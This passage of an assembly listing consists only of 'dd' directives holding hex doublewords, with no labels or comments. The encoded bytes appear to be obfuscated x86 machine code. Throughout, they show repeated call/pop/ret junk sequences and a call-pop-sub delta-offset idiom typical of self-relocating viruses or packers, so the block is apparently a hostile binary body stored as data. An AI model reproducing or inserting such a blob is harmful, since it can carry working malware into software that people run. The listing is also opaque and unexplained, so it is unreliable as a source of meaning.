		dd 55B151C8h, 1C75A9Ah,	44AA727Ch, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Bh, 9AC35141h, 0F1267722h, 5601D065h
		dd 0E0816660h, 5E9F9A6h, 0B5000000h, 8B3C58E8h,	1815E61h
		dd 1499CFCBh, 7E953h, 0ADFB0000h, 0A0DC215Eh, 41C75FCCh
		dd 78753C04h, 50006ACEh, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1904h, 0C3504000h, 0E6218861h, 0F5523B80h, 441815Eh
		dd 31D6D710h, 6870Fh, 0BD890000h, 61207D9h, 0BE82D781h
		dd 6A494Ch, 0E851006Ah,	3, 59C35920h, 4244C89h,	4244481h
		dd 15h,	51C35141h, 0DE816688h, 816629AAh, 8DA89DEFh, 1205B985h
		dd 53006A06h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1404h
		dd 0C3534300h, 0DDB58B1Bh, 90061232h, 50FA8B66h, 0BE9h
		dd 0CFD44900h, 0BC564D06h, 1A016058h, 6E990h, 59290000h
		dd 5E3A6A93h, 1C05B58Bh, 95FF0612h, 612351Dh, 0A0E148BEh
		dd 13E80Dh, 703E0000h, 7F438DEDh, 0E464F45Ch, 0D2C4C406h
		dd 0E7CF1BCDh, 0E59589A0h, 5E06122Bh, 5B98D8Dh,	6A0612h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h, 53430000h
		dd 6ED831C3h, 4DBD3348h, 0C706122Fh, 1,	0FD9D3100h, 0C706121Bh
		dd 441h, 0B70F0000h, 0FC00BF3h,	0B584h,	6E900h,	8D5E0000h
		dd 0F1D2C036h, 50658D8Dh, 6A0612h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 140424h, 56460000h, 0BD8954C3h, 612051Dh
		dd 0D5C68166h, 5B8D9h, 6A0000h,	3E850h,	58200000h, 448958C3h
		dd 44810424h, 170424h, 50400000h, 9FD9BBC3h, 95295086h
		dd 6122A19h, 6AE1FF5Fh,	3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1B042444h, 41000000h, 0B0FCC351h,	68493202h
		dd 60601DADh, 2129B58Bh, 85890612h, 6121A31h, 0CE816061h
		dd 5E6A6D2Eh, 61615E56h, 68C0Fh, 0BD8B0000h, 6122DF5h
		dd 14ED9589h, 8D8D0612h, 61205B9h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Ah, 4BC35545h, 0FC7306EDh, 1C7EC2Eh
		dd 54CA95A5h, 0E853006Ah, 3, 5BC35B20h,	4245C89h, 4244481h
		dd 16h,	60C35343h, 0F38B274Bh, 2ABD8D89h, 0AE90612h, 89000000h
		dd 0E2585E32h, 0D4B16EF3h, 0CB0181B7h, 601499CFh, 0EE9h
		dd 9BE8BE00h, 0FE54348Eh, 79356584h, 0E90AC5E4h, 10h, 0FE77466h
		dd 8B746AADh, 60251023h, 0CE36E314h, 8D958961h,	0C706122Eh
		dd 59690441h, 6ACE5Fh, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 190424h, 50400000h, 4F408BC3h, 0E8DDAA04h, 0Eh, 187F1FDFh
		dd 0A6513732h, 0E1D25029h, 9D3120C3h, 61213FDh,	441815Eh
		dd 31D6D710h, 25D98531h, 6A0612h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Dh, 0D3C35545h,	2D70FEA8h, 0D9858CC3h
		dd 0FA8B6671h, 2091BD8Bh, 858D0612h, 61205B9h, 14C18D89h
		dd 50900612h, 0DABE5250h, 0F638AFDh, 10E931h, 637E0000h
		dd 7F564EB2h, 3752CCC9h, 1E2B24F1h, 585AE0F8h, 0BB666090h
		dd 0BD8932A2h, 612056Dh, 1D95FF61h, 8B061235h, 122DBDBDh
		dd 89606006h, 1215598Dh, 8B666106h, 8D8D61F9h, 61205B9h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 15h, 9FC35141h
		dd 11E9B4h, 0D2C50000h,	61E00F04h, 5B3F87B7h, 0B2B49B3Eh
		dd 0C7DBC189h, 1, 0F98B6600h, 441C7h, 6A000000h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 18042444h, 47000000h
		dd 0E1DDC357h, 0BF79554h, 6B840FC0h, 0F000000h,	8D8DF2B7h
		dd 6125065h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 1Ch,	79C35545h, 0A8F978Dh, 193DA073h, 0FE9h,	0A094A500h
		dd 9A1E7D94h, 91BBB555h, 0D9AE64Bh, 5B8h, 6AE1FF00h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 15042444h, 42000000h
		dd 930FC352h, 29DDB589h, 0CA030612h, 0FFF0A3E9h, 50006AFFh
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1404h, 0C3504000h
		dd 4C4DBE6Fh, 0C18B538Ch, 0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 1Ch, 27C35646h, 0F8AC148Bh, 0BC5EEEh, 2F09B58Bh
		dd 95890612h, 612355Dh,	4EBh, 6A0000h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1D0424h, 50400000h, 1924AFC3h
		dd 0A86539EFh, 8D4B1770h, 12016985h, 56006A06h,	3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1804h,	0C3564600h, 0A1232AF3h
		dd 0F88B66B9h, 66525090h, 310FF18Bh, 0E950585Ah, 13h, 821F0C87h
		dd 5C9614E5h, 82A628FDh, 87C1BD66h, 90AB43D9h, 0C659D29h
		dd 6A0612h, 0E851006Ah,	3, 59C35920h, 4244C89h,	4244481h
		dd 17h,	0C3C35141h, 0F8C2F452h,	6830Fh,	0B5290000h, 6122C05h
		dd 14E8006Ah, 0EB000000h, 6570A636h, 8C425529h,	0FD98B9Ah
		dd 482BEE6Fh, 31B6ADA3h, 120F81B5h, 858D5F06h, 615F16Fh
		dd 2C0D9589h, 0C0830612h, 53006A05h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1A04h,	0C3534300h, 6C724615h
		dd 0E9365B37h, 12h, 50FFD0A3h, 0D690B5A8h, 0C27463E8h
		dd 0FFCE283h, 6690E368h, 9050F98Bh, 0E857006Ah,	3, 5FC35F20h
		dd 4247C89h, 4244481h, 16h, 7CC35747h, 6A978Eh,	0F898529h
		dd 6A0612h, 0E852006Ah,	3, 5AC35A20h, 4245489h,	4244481h
		dd 1Dh,	0EFC35242h, 8609E39Dh, 0FCB87B85h, 0FFF18BBDh
		dd 1204AD95h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1404h, 0C3504000h, 1A9D8D0Bh, 6A06159Dh, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 18042444h, 43000000h
		dd 0DA68C353h, 66738A96h, 8B66F78Bh, 6AD3FFFBh,	3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1A042444h, 41000000h
		dd 0C7D8C351h, 0AF150F5Fh, 0FA8B66ACh, 0DE9h, 9000FE00h
		dd 27A6F74Bh, 26FB7DCBh, 85FFE87Dh, 612136Dh, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 16h, 0BCC35141h, 0BF0FED6Ah
		dd 0BE8F7h, 41F60000h, 0B2298879h, 221741ECh, 998D0192h
		dd 5E061221h, 7C7E9h, 0E800h, 815D0000h, 15F179EDh, 61BD8106h
		dd 0D0061208h, 0F000007h, 16586h, 55006A00h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1B04h,	0C3554500h, 0C9C9A2AFh
		dd 5711D1A6h, 19F59D8Bh, 6A0612h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1A0424h, 55450000h, 0E59733C3h, 26786617h
		dd 233D8D89h, 0E3810612h, 100h,	0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Ah, 33C35646h, 1AAB0AD7h, 860F12A1h
		dd 1, 0FDB0BF9h, 6885h,	0F2BF0F00h, 0EF41BD83h,	0F000615h
		dd 2A84h, 0E9F18B00h, 80h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 15h, 0EEC35343h, 71BD8B49h, 0C7061219h, 15EF4185h
		dd 106h, 1DBD0300h, 0E906122Fh,	48h, 14E9h, 0F3001700h
		dd 423FB884h, 0A3F7BEDEh, 6A4A8C12h, 0C4A8898Bh, 4185C7F6h
		dd 615EFh, 6A000000h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 17042444h, 40000000h, 0C233C350h, 0B58B1F18h, 61212E1h
		dd 19F59D8Dh, 0BD8B0612h, 6121B65h, 0FEFF2381h,	6AFFFFh
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h, 57470000h
		dd 0F34674C3h, 0B1D146F2h, 0E91FABD5h, 0Ah, 3630529h, 39A1A39Ch
		dd 8C664A17h, 0F9BD0BDBh, 0F6061233h, 840F04C3h, 0B8h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 0F4C35545h
		dd 91B1D5D7h, 297AF661h, 0E59D89FCh, 0FF061205h, 12047995h
		dd 53006A06h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1504h
		dd 0C3534300h, 14E85660h, 47000000h, 2D1380CEh,	377FA474h
		dd 0F77D1F4h, 0A4CB30BDh, 0E96D6FA4h, 0Ch, 0C1997C75h
		dd 2F7387CBh, 3F4B582Dh, 91F7815Fh, 500E845Ah, 6A240489h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1B042444h
		dd 43000000h, 28EC353h,	48334170h, 870F753Bh, 6, 2AD1B589h
		dd 0B5890612h, 6120425h, 324E9h, 53006A00h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1A04h,	0C3534300h, 0B3DFBD2Ch
		dd 2979E85Ch, 122F098Dh, 79B50306h, 0B0061223h,	65B58B00h
		dd 0E606121Ah, 0FE8B6670h, 33B9BD8Bh, 71E40612h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 17h, 0C5C35242h, 66A77D5Fh
		dd 0F1DE7BFh, 6AD8B6h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1D0424h, 55450000h, 0D98C17C3h, 0E3C72C8Ah, 0E9081CFBh
		dd 0Eh,	10D608B9h, 8F3A459Eh, 0E593AF7h, 6BAB394h, 52000000h
		dd 272DBD8Bh, 8B5E0612h, 0E9B58BC3h, 0C106122Dh, 858904E8h
		dd 6121995h, 6AE2F766h,	3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1C042444h, 41000000h, 0B081C351h,	27DAFBD1h
		dd 6609054Fh, 2B5B65BFh, 11BD29D8h, 5006122Fh, 5F515757h
		dd 1C895E5Fh, 0C6816624h, 0B5FFA327h, 6120861h,	0C5A3F681h
		dd 95FF0419h, 6122475h,	0B25BD8Bh, 0B00612h, 1B01BD8Bh
		dd 70E60612h, 0E4F9BF0Fh, 0F1BD0B71h, 8906121Ch, 1213019Dh
		dd 0F613C06h, 1E883h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1404h, 0C3524200h, 3DBD23F5h, 0F061200h
		dd 0BD8BD8B6h, 6120AF9h, 6BAh, 12E800h,	0D0220000h, 3A1D4784h
		dd 2074C937h, 6DD56BE2h, 0BC1E472Fh, 8B5EF38Bh,	51006AC3h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1804h, 0C3514100h
		dd 0F3E1E286h, 81665097h, 5EC3A9D7h, 6604E8C1h,	66EE4DBEh
		dd 0ACBEE2F7h, 2B5387F5h, 56006AD8h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1704h,	0C3564600h, 0C25BF3E5h
		dd 55B58958h, 2B061223h, 36880FD8h, 8B000001h, 122BE5B5h
		dd 7B906h, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 160424h, 52420000h, 83480BC3h, 6A00C183h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 16042444h, 40000000h
		dd 0E89DC350h, 0BE666070h, 13E93BC0h, 35000000h, 7B802614h
		dd 0B31F8315h, 4576401Ch, 86228382h, 3614928h, 122AC1B5h
		dd 0FD93B06h, 0C086h, 0DE800h, 4A690000h, 705D9225h, 0C7628DB2h
		dd 8B6B8C89h, 8C665EFEh, 0DBD8BD9h, 0F6061222h,	840F04C1h
		dd 92h,	0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 14h
		dd 31C35545h, 95FFF28Bh, 6120479h, 0CD78166h, 0B58B5B08h
		dd 6122009h, 0BE9C32Bh,	0DE000000h, 5295417Ah, 1DBCB146h
		dd 343DD591h, 0F000008h, 4586h,	52006A00h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1504h,	0C3524200h, 85017F62h
		dd 61215E9h, 24E9h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1504h, 0C3524200h, 0C08B59D4h, 0CACE8166h
		dd 8BC38B66h, 55006AD8h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1404h, 0C3554500h, 0DE81666Eh, 85C739AEh, 6120A95h
		dd 1F7E8DD1h, 0E857006Ah, 3, 5FC35F20h,	4247C89h, 4244481h
		dd 14h,	29C35747h, 5830Fh, 35BE0000h, 968F236h,	1203B185h
		dd 0BFC08B06h, 7659D62Ah, 861BD81h, 7D00612h, 850F0000h
		dd 47h,	0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 15h
		dd 2FC35646h, 0F28B6647h, 86185FFh, 6A0612h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 190424h, 52420000h, 89967BC3h
		dd 0FFC3C0CDh, 120861B5h, 57006A06h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1D04h,	0C3574700h, 3DD254B8h
		dd 56AAAF43h, 830F25B3h, 0Ch, 6870Fh, 0BD8B0000h, 61213FDh
		dd 247595FFh, 8B660612h, 59529F8h, 9006122Ch, 24D1BD89h
		dd 81660612h, 8B8690DEh, 1B8B0FF2h, 8B000000h, 1213E9B5h
		dd 10E906h, 0DB3E0000h,	0B839E81Ch, 0E11BAF9Ah,	0D8DCF92Ah
		dd 0BD8B9133h, 6120B49h, 0FFB8B66h, 6AF2B7h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1C0424h, 50400000h, 5DC216C3h
		dd 0ED7C7A0h, 0F38BF2CAh, 0ECCF8166h, 0CFCF818Dh, 0E951D8F9h
		dd 5, 0D735A350h, 41B58BACh, 6A061206h,	3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1D042444h, 42000000h, 0AA1DC352h
		dd 0B24AC47Ch, 63C294CFh, 0ADDBD2Bh, 0BF660612h, 6AAB71h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h, 56460000h
		dd 6ABBC3h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h
		dd 51410000h, 51ACDBC3h, 9D8998CDh, 6123519h, 5C9BF66h
		dd 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 19h, 0F3C35646h,	34C47631h, 5DB5335Ah
		dd 81061200h, 5E9C00F7h, 0F863E93Eh, 0BE8FFFFh,	1E000000h
		dd 3068768Dh, 0EE3B8BCCh, 0AE9117Fh, 63000000h,	9F69EA3h
		dd 5BAE0413h, 698D89FFh, 5E061211h, 5D0EBE66h, 10E9C18Bh
		dd 6000000h, 7A0EC751h,	580BCA11h, 13A17D09h, 0EB321F7Ch
		dd 4, 66FE8B00h, 0BD43E681h, 169858Dh, 89500612h, 8B662404h
		dd 29006AF3h, 122D3D9Dh, 6A006A06h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 19042444h, 43000000h, 8C8C353h
		dd 0F3E33F9Fh, 0BEB4F781h, 56FC06BEh, 17399D89h, 8D5F0612h
		dd 15FA9085h, 0DE816606h, 0CE817F3Eh, 666E74C5h, 6A05C083h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 17042444h
		dd 41000000h, 1CFBC351h, 5090C308h, 90FE8B66h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 15h, 80C35242h, 0A5BD038Eh
		dd 6A06122Ah, 6A006A00h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 17042444h, 46000000h, 2749C356h, 9D893674h
		dd 6122BADh, 4AD95FFh, 6A0612h,	3E857h,	5F200000h, 7C895FC3h
		dd 44810424h, 180424h, 57470000h, 735770C3h, 9D8DDDFFh
		dd 6159D1Ah, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 19h,	0CC35040h, 29368411h, 0E99D8900h, 0FF061211h, 0A3BE66D3h
		dd 6D85FFC6h, 0F061213h, 88h, 7E2E900h,	0E80000h, 5D000000h
		dd 0FA9AED81h, 6A0615h,	3E851h,	59200000h, 4C8959C3h, 44810424h
		dd 1D0424h, 51410000h, 0FFAF3EC3h, 0F4D25539h, 60703542h
		dd 9E99D8Bh, 0E9610612h, 8, 0BE9E5B5Fh,	0B5193AB7h, 861BD81h
		dd 7D00612h, 860F0000h,	105h, 33A19D8Bh, 0E3810612h, 100h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 0E9C35343h
		dd 830F45D0h, 3, 0BF7B70Fh, 9A850FDBh, 6A000000h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1D042444h, 46000000h
		dd 3D0C356h, 0E1A2D7BBh, 63E76833h, 0CF9489BEh,	5E906h
		dd 2C450000h, 0E9016A48h, 12h, 9A542036h, 0F53CE243h, 0AC811804h
		dd 39CA8F57h, 0BD83586Ah, 615F954h, 0F840F00h, 66000000h
		dd 0E904E3BEh, 49h, 1B95BD01h, 85C70612h, 615F954h, 1
		dd 34E9h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1C04h, 0C3514100h, 2713922Bh, 58B2FD6Eh, 5485C786h
		dd 615F9h, 89000000h, 120B6185h, 0A19D8D06h, 0E9061233h
		dd 9, 0E346642Eh, 52586EA8h, 0FF23814Bh, 89FFFFFEh, 1205D98Dh
		dd 0DB8C6606h, 1115BD8Bh, 0C3F60612h, 9D840F04h, 81000000h
		dd 0AF4FAD7h, 7995FF5Fh, 6A061204h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1C042444h, 41000000h, 369DC351h
		dd 0B17D9950h, 60FE4689h, 6870Fh, 95330000h, 6122389h
		dd 0B65BD29h, 8B610612h, 120291B5h, 6890F06h, 1000000h
		dd 121B018Dh, 8D0F9006h, 0Fh, 0AE9h, 6D266B00h,	229A4D02h
		dd 50F12677h, 84BF5250h, 0F22501Eh, 0F78B6631h,	6A90585Ah
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 19042444h
		dd 41000000h, 7E55C351h, 0D7550CC5h, 383E9h, 51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1904h, 0C3514100h
		dd 0A5A42A7Ah, 0FC520CBEh, 12E85Fh, 0D0360000h,	70F61C8h
		dd 2B599159h, 0CACD9B7Dh, 0BDBDEAFFh, 8B00B05Eh, 8B70E6FBh
		dd 830FF0h, 0E4000000h,	50006A71h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1404h, 0C3504000h, 0FB8B66C4h, 6AD8B60Fh
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1B042444h
		dd 43000000h, 4BEC353h,	1759F5EBh, 840FB66Ah, 0
		dd 6BAh, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1804h, 0C3574700h, 7F47D9Ah,	0CD9D2924h, 0E8061213h
		dd 0Ah,	24ADF95Dh, 41107FE7h, 5360CAD3h, 0D195895Ah, 6106122Fh
		dd 6AC38B5Fh, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 14042444h, 45000000h, 0C15EC355h, 858904E8h,	6122369h
		dd 0FE2F766h, 381h, 0FEB70F00h,	0E960D82Bh, 5, 0FDDE7328h
		dd 3890FA2h, 0F000000h,	5061F6B7h, 6A241C89h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 17042444h, 46000000h
		dd 0F6E1C356h, 8B6618FAh, 61B5FFF8h, 0F061208h,	0B58BFEBFh
		dd 6122C9Dh, 247595FFh,	6A0612h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 150424h, 53430000h, 1BA3CC3h, 1226E185h
		dd 8900B006h, 122AFD85h, 6A70E606h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 18042444h, 43000000h, 0F00AC353h
		dd 8BC12E0Bh, 120E99BDh, 6A71E406h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1B042444h, 41000000h, 339BC351h
		dd 3B9E4E8Ah, 613C8373h, 1A2830Fh, 0B60F0000h, 53006AD8h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1504h, 0C3534300h
		dd 6BA6329h, 6A000000h,	3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 17042444h, 45000000h, 0F2C355h, 0C38BC504h
		dd 0CBE78166h, 4E8C1C5h, 20D19D89h, 0F7660612h,	850152E2h
		dd 61214FDh, 1D82B5Fh, 12348985h, 6A5806h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1C0424h, 57470000h, 5214C1C3h
		dd 72D56E0Fh, 852980D9h, 6122F1Dh, 880FD82Bh, 108h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 2EC35545h, 686069CEh
		dd 7B9158Ah, 8B000000h,	120441BDh, 0C18306h, 1951BD8Bh
		dd 0D93B0612h, 0CA860Fh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1C0424h, 53430000h, 592AC1C3h, 58CAAC9Eh
		dd 8C6667AEh, 0C1F6F9D9h, 77840F04h, 6A000000h,	3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 14042444h, 46000000h
		dd 6610C356h, 0FFA8FBBEh, 12047995h, 0CEBBBE06h, 0BF667B9Ah
		dd 2B5BCF93h, 3DF98BC3h, 834h, 38860Fh,	8E90000h, 2D000000h
		dd 3726E5C4h, 5271C665h, 2CA5B503h, 0E95F0612h,	40h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 91C35343h, 0C08BC9C4h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 9FC35545h
		dd 0FF2529D5h, 0D88BC38Bh, 5719D89h, 85C70612h,	61219F5h
		dd 3C0667DFh, 0E853006Ah, 3, 5BC35B20h,	4245C89h, 4244481h
		dd 1Bh,	38C35343h, 0DCC8C5B2h, 8BAFB719h, 51006AC0h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1C04h, 0C3514100h
		dd 300E7D04h, 54862672h, 9B58B10h, 81061223h, 120861BDh
		dd 7D006h, 35850F00h, 6A000000h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1B042444h, 45000000h, 6299C355h, 0B390989Bh
		dd 0BD89E5BFh, 6121B49h, 86185FFh, 0BD8B0612h, 612354Dh
		dd 861B5FFh, 6A0612h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 1A0424h, 53430000h, 245625C3h, 22054D6h, 9E957h, 57500000h
		dd 0AB9B7353h, 5FA5EF35h, 247595FFh, 6A0612h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1B0424h, 57470000h, 1D3680C3h
		dd 0DC30D813h, 890FE1h,	0BF000000h, 74D049B9h, 541EBF90h
		dd 0EE83D3Fh, 57000000h, 67AD7AB2h, 0CB3E8B21h,	0EBB09BFAh
		dd 85295FD1h, 6121B09h,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 14h, 2DC35747h, 8B0Fh, 85290000h, 6123099h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 16h, 18C35141h
		dd 0AE8D65Fh, 0ED000000h, 3E769B30h, 0B4A0F488h, 4820FE1h
		dd 66000000h, 813938BEh, 0B27882CEh, 81665E78h,	293F06C6h
		dd 1225E185h, 0B8C0F06h, 0F000000h, 58Eh, 0BC40BF00h, 8B6679E1h
		dd 55006AF0h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1A04h
		dd 0C3554500h, 2A3E0811h, 5766C6C0h, 1965B533h,	6A5F0612h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 18042444h
		dd 42000000h, 6F6CC352h, 0E9525A85h, 0Fh, 75A2E360h, 92C5BCB9h
		dd 0FB87833Dh, 0E9865DE0h, 0FFFFF852h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 15h, 9FC35040h, 0B50351EAh, 612343Dh
		dd 0F18B665Eh, 6870Fh, 95890000h, 6122351h, 6AC18Bh, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 160424h, 52420000h
		dd 1D92E5C3h, 0EBF18B66h, 4, 56006A00h,	3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1B04h,	0C3564600h, 0A26B41F8h
		dd 0CE3D1FADh, 5EEE8060h, 0AE8h, 64CDE500h, 270E6A1Fh
		dd 0B63A6563h, 1615853h, 1211C1BDh, 52006A06h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1D04h,	0C3524200h, 73BDB822h
		dd 9F48275Dh, 8BFC987Fh, 120F9DBDh, 8DF18B06h, 12016985h
		dd 57006A06h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1404h
		dd 0C3574700h, 59B589A0h, 50061221h, 0EE9h, 82346C00h
		dd 7FE295Ch, 7549A9DEh,	8960021Eh, 6A2404h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 150424h, 55450000h, 2909E3C3h
		dd 12355DB5h, 99B52906h, 6A061227h, 50006A00h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1904h,	0C3504000h, 0FD71108Fh
		dd 6AF12Bh, 0C4D8529h, 858D0612h, 61604F8h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Ah, 8CC35040h, 6BC2424h
		dd 0B70F6B6Ch, 5C083FFh, 52506050h, 0FCA8B66h, 0BE831h
		dd 69280000h, 4C790D0Ah, 0B3AD0ED0h, 585A5EAAh,	12E9h
		dd 0BE980900h, 0DFC1A589h, 897F16D7h, 8B77BD54h, 61E6F944h
		dd 6A240489h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 19042444h, 40000000h, 17C1C350h, 6D4AA1A2h, 14599D89h
		dd 6A0612h, 6A006AF8h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 15042444h, 47000000h, 0C45CC357h,	29E9B58Bh
		dd 95FF0612h, 61204ADh,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Bh, 0CC35343h, 6D7BF80Fh,	8D237745h, 159D1A9Dh
		dd 56006A06h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1A04h
		dd 0C3564600h, 6E620A9Ch, 5610B152h, 1BE1BD8Bh,	0FF5F0612h
		dd 158589D3h, 0FF061223h, 12136D85h, 52006A06h,	3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1804h,	0C3524200h, 0F620C8D9h
		dd 0FE92Bh, 0B91C0000h,	0FA1377B5h, 0CBCFCF13h,	0D9AE1265h
		dd 0BD895154h, 612023Dh, 76DE95Fh, 0E80000h, 5D000000h
		dd 502ED81h, 1530616h, 12141DBDh, 8B665E06h, 61BD81FEh
		dd 0D0061208h, 0F000007h, 15F86h, 8D850100h, 8B06122Bh
		dd 12145D9Dh, 52006A06h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1C04h,	0C3524200h, 0C8144765h
		dd 809F8395h, 0D938BEFAh, 0E3815F33h, 100h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 5CC35747h, 850FDB0Bh
		dd 9Ch,	0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 18h
		dd 0DFC35040h, 73944E60h, 2A45BD29h, 0BD830612h, 616029Ch
		dd 2D840F00h, 6A000000h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 19042444h, 45000000h, 5353C355h, 0A5B87AAFh
		dd 56E9h, 0B1B58B00h, 0F8061210h, 29C85C7h, 10616h, 6A0000h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 170424h, 50400000h
		dd 7196B3C3h, 21E98Bh, 0F520000h, 687h,	699D8900h, 5E061219h
		dd 29C85C7h, 616h, 8D010000h, 6122171h,	8DFA8B66h, 12145D9Dh
		dd 55006A06h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1804h
		dd 0C3554500h, 0FB874C1h, 0FF238154h, 6AFFFFFEh, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 17042444h, 41000000h
		dd 0BB2FC351h, 0BD8B1963h, 6120F89h, 6ADB8C66h,	3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 16042444h, 46000000h
		dd 2A07C356h, 1DD681AFh, 0F6125005h, 840F04C3h,	4Ch, 0AEEE8166h
		dd 7995FFD3h, 0F061204h, 880h, 28C0F00h, 57000000h, 0F78B505Fh
		dd 6A240489h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1A042444h, 40000000h, 0CCFDC350h, 77383EA6h,	0E5E6819Ch
		dd 0BF458A1Ah, 275671BFh, 335E9h, 1BD8B00h, 0B0061233h
